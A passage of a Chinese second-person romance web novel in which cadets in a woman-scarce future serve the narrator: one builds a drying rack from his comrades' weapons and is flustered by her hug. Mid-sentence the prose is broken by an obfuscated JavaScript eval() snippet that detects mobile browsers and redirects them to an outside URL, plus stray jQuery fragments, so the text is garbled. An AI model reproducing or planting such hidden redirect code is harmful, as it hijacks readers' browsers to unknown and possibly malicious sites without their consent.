联盟军校的学生们自然不会携带与“古老文明”有关的东西,但这不代表他们对此毫无了解,无论是学校或工作部门组织的研学活动,还是自发进行的私人行程,这个时代的男性们都经常前往古人类博物馆,观摩留有女性生活痕迹的遗址或影像,体会她们带给这个世界的温情与希望。 “我可以为您制作一个,”西尼亚站起身,“请您稍等我一会儿。” 为你服务毫无疑问是一件令人向往的、不容错失的美事,但没有人与西尼亚争夺这个机会,他们都想给你最好的,凭借优越的机械制造天赋,被特招入校的西尼亚显然更具备这个能力。 你点点头:“麻烦你了。” 虽然西尼亚措辞时用的字眼是“稍等”,但你并没有将之放在心上,因为就算再尽心,筹备材料和制作也该需要一段不短的时间,可不过半分钟,他就搭好了一个像模像样的晾衣架。 只不过他使用的材料并不是钢筋木材,而是德罗拉和塞里斯的刀与鞘,以及修的狙击枪。 西尼亚全程背对着你,所以你根本不知道他选材的过程,也没办法阻止他——你怎么能将自己的贴身衣物挂在他们的武器上呢?这也太奇怪了!他们不会觉得不对劲吗? “小姐,”西尼亚贴心地询问你,“需要我将它拿进去吗?” 你看向他,即使背对着你也在说话时低下头颅的少年站在“晾衣架”旁,灿金的柔软发丝在阳光下显现出璀璨的光辉,仿佛一只叼着小球,等待主人召唤的金毛,乖巧温顺,惹人心疼。 他有什么做得不对的吗?没有,你想,他只是为了不让你久等,才选择的就地取材,或许你不该拘泥于这些无伤大雅的细节。 你应该礼貌一些,给他应得的感谢和褒奖。 “需要,”你决定当面感谢他,“辛苦你了。” 西尼亚将他搭制的、牢靠的晾衣架搬到了你所在的小木屋里,全程闭着眼睛,却脚步稳当,没有磕碰到任何东西,你都没机会出言提醒或者扶他一把。 你猜测这是因为他之前进来过这间木屋,已经对里面的构造了然于胸。 真是太绅士了,你深知他闭上眼睛是为了保护你的自尊心,无法不对此心怀感激——他、他们都是非常善良高尚的人,要知道,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447061|169424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实根本没有反抗他们的能力,如果他们不顾道德和法律的约束,不尊重你,甚至欺辱你,你是没有任何办法的。 除去一些对你身份的误会,他们从始至终都对你非常好,好得过分,让你时常感到受之有愧。 “小姐,放在这里可以吗?”西尼亚站在一束透过屋顶豁口落下的阳光里,他感知到了热度,如果你要晒衣服的话,这里是最好的选择。 你点了点头,正准备开口,西尼亚就安置好了一切,甚至利落地调整好了受光方向。 他这眼睛闭与不闭有什么区别吗?你怀疑他们闭上眼睛的行为只是一种形式上的礼貌,根本不影响他们视物的能力,说不定他们之前背过身的行为,也没有限制住他们对你的“观察”! 亏你心怀感激和愧疚,认为他们是一群多么高尚的君子!原来只是做给你看,逗你玩的! “你看得见?”你的语气不可避免地坏起来,如果他睁着眼睛,还能看见你鼓起的脸颊和瞪着他的眼睛。 肆意表达着不满的你并没有意识到,你已经仗着他们无条件顺从的态度任性起来,毕竟在你认知中的一般情况下,没有哪位独身女性敢在偏僻少人的地方,质问一群陌生男性,就像十几个小时前的你。 “看不见,但我听得到您点头的声音,”他伸出手指轻轻摩擦了一下作战服,向你解释,“就是这个声音。” 然而你什么都没有听见。 好吧,你想,是你太过于紧张,误会他们了。 “……原来如此,”你不好意思地低声开口,“不好意思呀。” 西尼亚微微偏头,像是不理解你为什么突然道歉那样,露出不理解的表情:“为什么道歉?小姐,您是不会有错的,如果您认为有的话,那一定是您太过于善良,将他人的错处归咎于自己了。” 他每个字都说得非常恳切,理所当然得就像在宣读什么金科玉律、自然法则。 你有些汗颜。 这种态度你只在供奉皇帝的臣属和娇惯孩子的父母身上看见过,前者培养昏君,后者养育熊孩子,怎么想都是捧杀之道,可是西尼亚的态度那样诚恳,你实在没办法将他的行为打上任何负面标签。 你想起他们向你介绍这个时代女性地位时的措辞,“贵族”与“侍奉”,没错,他们正是如此对待你的,谦卑,恭敬,唯命是从,没有任何不轨与旖旎的言论和行为。 天呐,你竟然怀疑他们对你的态度中掺杂了不好的念头!你应该好好安慰他们一下才对! “西尼亚,”你伸手拉住了他的袖子,拽了拽,“你睁开眼睛吧。” 与发色如出一辙的金色睫毛颤了颤,缓缓睁开,露出深藏于金色丛林里的、绿翡般的湖泊,以及湖面上精灵的倒影。 这纯净无暇的生灵正眉眼弯弯地笑着,露出再可爱不过的神情,甚至用她轻柔的声音呼唤他的名字。 “西尼亚,谢谢你呀,”你踮起脚尖抱了一下西尼亚,因为身高差的缘故,你只象征性地环住了他的腰,“你真可爱。” 这个拥抱很短,你将之视为友好的象征,表达你对他的感谢与信任,最后那一句夸赞,更是代表着你作为年长者的、充满关怀的认可,和抱着小狗亲吻,说它是全世界最好的宝贝没什么两样。 至少你是这样想的。 出乎你意料的,西尼亚并没有展露出欣喜的表情,而是迅速地后退两步,然后背过身去,甚至不堪忍受般微微躬下了腰。 “……小姐,您,”他的声音都在颤抖,“您过誉了……您饿了吗?我去给您准备午饭吧。” 西尼亚露在金发外的耳朵已经红得要滴出血了,像一颗熟透了的苹果。 原来是害羞了,你能理解,毕竟是学生嘛,未经世事。 “好呀,辛苦你啦。”善良的你放过了窘迫的他,看着他脚步匆匆,走向都已经站起身,开始筹备午饭的同学们。 真是一群勤快的好孩子呀。 你哼着歌,将色调柔和的衣服挂在黑漆漆的刀与枪上,没有关注身后发生的一切,譬如嫉妒的眼神,譬如粗重的呼吸,譬如询问“还有没有檀罗”的低语。